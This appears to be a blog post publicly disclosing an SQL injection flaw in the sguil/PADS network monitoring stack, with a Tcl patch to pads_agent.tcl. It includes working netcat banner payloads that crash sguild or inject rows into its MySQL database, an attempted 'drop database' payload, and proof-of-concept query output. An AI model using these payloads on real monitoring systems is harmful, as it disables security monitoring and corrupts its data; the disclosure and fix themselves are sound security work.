DISCLAIMER: I have nothing but respect for the sguil, snort, PADS, and other associated development teams. Because of their efforts, I have the tools that I need available to me at no direct cost. They are truly wonderful people, and in speaking with them, I have found that they are also extremely professional and courteous. I am only making this bug report public because I filed it more than a month ago in private, and no action has since been taken, no patches released, nor any mention made of it. It is a truly very serious bug, and should it turn up in the wrong hands, could lead to a braindead network monitoring system.

I happened to be monitoring a sguil daemon on a box appropriately named snort-mgmt in full debug mode. Sguild randomly died from time to time, maybe once a week. It was very rare and sparse. I happened to catch the problem while running it, and found the culprit of the problem.

Someone on our network had started a new httpd server, and PADS had picked up on it. The banner included “: The world’s best http server.”. Sguild died on a mysql error, and printed the exact error from mysql, saying there was a syntax error. It seemed that nowhere along the way was pads, pads_agent, or sguild sanitizing the SQL input.

Knowing this, I started a few tests. I ran on one of the sensor boxes:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);drop^Mdatabase^Msguildb;–” | nc -l 1050

and then telnet’d to it from my desktop. PADS picked up the banner packet, and passed it along exactly as it was sent. It has a 100% success rate on taking down sguild, though the above example of dropping the central database did not work, as PADS seems to parse out the whitespace. Perhaps someone more clever than myself could get the database drop to work. The injection of the deadbeefcafe did work, however, which is even worse than just taking down the management server. I ran a mysql query and found an event with hex_value ‘deadbeefcafe’, so I can confirm the injection works.

This in mind, I attempted to write a small fix to patch the problem. I was originally going to sanitize the output straight out of PADS, but PADS seems to use libpcap for that functionality, and I’d rather not go down to that level to solve a product-specific issue. So I went to the next step, the pads_agent. In pads_agent.tcl, I changed the function “GetFifoData { fifoID}” to read as such:

# PADS writes out a field per line ended with a “.” on its own.
if { $data != “.” } {

if { $DEBUG } { puts “New line from FIFO: $data” }
set data [string map {‘ \\’} $data]
lappend dataList $data

} else {

if { $DEBUG } { puts “ProcessData: $dataList” }
ProcessPadsData $dataList
set dataList “”

}

The difference being the set data string map line. I had to learn a bit of tcl to implement this. It’s not the best or most elegant fix in the world, the right way to fix this bug is to parameterize all of the MySQL calls. Upon testing the exact same command designed to break the system above, but netcatting on a different port so PADS picks it up properly again, the change worked. sguild didn’t die, and the information got put into the database successfully.

So here’s the final exploit, for those impatient people.

TO BRING THE SERVER DOWN (ungraceful, somewhat noticeable crash):

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’);–” | nc -l 7777

…and then telnet to port 7777 from a different box.

TO INJECT DATA INTO THE SGUIL MYSQL DATABASE:

Run this command on a server being monitored by PADS/sguil:

echo “SSH-2.0-OpenSSH_1.4′,’deadbeefcafe’)–” | nc -l 8888

…and then telnet to port 8888 from a different box.

End result and proof of concept:

mysql> use sguildb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from pads where `hex_payload`=’deadbeefcafe’;
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| hostname | sid | asset_id | timestamp | ip | service | port | ip_proto | application | hex_payload |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
| sensor1test2 | 1 | 7 | 2009-06-08 14:28:02 | 2886732921 | ssh | 1061 | 6 | OpenSSH 1.4 | deadbeefcafe |
+————–+—–+———-+———————+————+———+——+———-+————-+————–+
1 row in set (0.01 sec)